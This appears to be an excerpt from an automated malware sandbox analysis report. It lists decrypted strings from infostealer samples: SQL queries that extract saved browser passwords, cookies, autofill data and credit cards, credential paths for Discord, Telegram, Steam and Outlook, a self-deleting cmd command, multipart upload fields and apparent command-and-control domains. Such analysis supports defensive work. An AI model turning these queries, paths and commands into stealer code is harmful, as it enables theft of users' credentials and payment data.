Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CryptUnprotectData
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SHGetFolderPathA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ShellExecuteExA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetOpenUrlA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetConnectA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetCloseHandle
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetOpenA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HttpSendRequestA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HttpOpenRequestA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetReadFile
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: InternetCrackUrlA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: StrCmpCA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: StrStrA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: StrCmpCW
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PathMatchSpecA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RmStartSession
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RmRegisterResources
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RmGetList
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RmEndSession
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_open
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_step
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_column_text
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_finalize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_close
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3_column_blob
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: encrypted_key
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PATH
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: NSS_Init
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: NSS_Shutdown
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PK11_FreeSlot
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PK11_Authenticate
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: C:\ProgramData\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: browser:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: profile:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: url:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: login:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: password:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Opera
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: OperaGX
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Network
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: cookies
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: .txt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: TRUE
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: FALSE
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: autofill
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: history
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: cc
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: name:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: month:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: year:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: card:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Cookies
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Login Data
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Web Data
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: History
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: logins.json
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: formSubmitURL
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: usernameField
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: encryptedUsername
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: encryptedPassword
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: guid
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: cookies.sqlite
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: formhistory.sqlite
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: places.sqlite
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: plugins
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Local Extension Settings
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Sync Extension Settings
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: IndexedDB
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Opera Stable
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Opera GX Stable
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CURRENT
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: chrome-extension_
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Local State
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: profiles.ini
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: chrome
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: opera
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: firefox
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: wallets
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ProductName
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: x32
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: x64
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ProcessorNameString
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DisplayName
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DisplayVersion
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Network Info:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - IP: IP?
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Country: ISO?
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: System Summary:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - HWID:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - OS:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Architecture:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - UserName:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Computer Name:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Local Time:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - UTC:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Language:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Keyboards:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Laptop:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Running Path:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - CPU:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Threads:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Cores:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - RAM:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - Display Resolution:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: - GPU:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: User Agents:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Installed Apps:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: All Users:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Current User:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Process List:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: system_info.txt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: freebl3.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: mozglue.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: msvcp140.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: nss3.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: softokn3.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: vcruntime140.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Temp\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: .exe
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: runas
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: open
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: /c start
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %DESKTOP%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %APPDATA%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %USERPROFILE%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %DOCUMENTS%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %RECENT%
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: *.lnk
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: files
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \discord\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Telegram Desktop\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: key_datas
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: map*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Telegram
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Tox
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: *.tox
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: *.ini
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Password
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 00000001
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 00000002
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 00000003
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 00000004
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Pidgin
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \.purple\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: accounts.xml
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: token:
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Software\Valve\Steam
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SteamPath
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \config\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ssfn*
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: config.vdf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DialogConfig.vdf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: libraryfolders.vdf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: loginusers.vdf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Steam\
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sqlite3.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: browsers
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: done
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: soft
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: https
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: POST
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HTTP/1.1
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: hwid
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: build
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: token
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: file_name
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: file
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: message
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: screenshot.jpg
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: scriptyprefej.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: navygenerayk.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: founpiuer.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: necklacedmny.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: thumbystriw.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: fadehairucw.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: crisiwarny.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: presticitpo.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: presticitpo.store
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: - Screen Resoluton:
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: Workgroup: -
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC444C0 PK11_PubEncrypt,	0_2_6CC444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC44440 PK11_PrivDecrypt,	0_2_6CC44440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC14420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC4A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC28670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CC6A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CC70180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC443B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CC443B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC67C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CC67C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC27D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CC27D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CC6BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC69EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CC69EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC43FF0 PK11_PrivDecryptPKCS1,	0_2_6CC43FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC49840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CC49840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC43850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CC43850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CC6DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC77410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	0_2_6CC77410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC43560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CC43560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49833 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49877 version: TLS 1.2
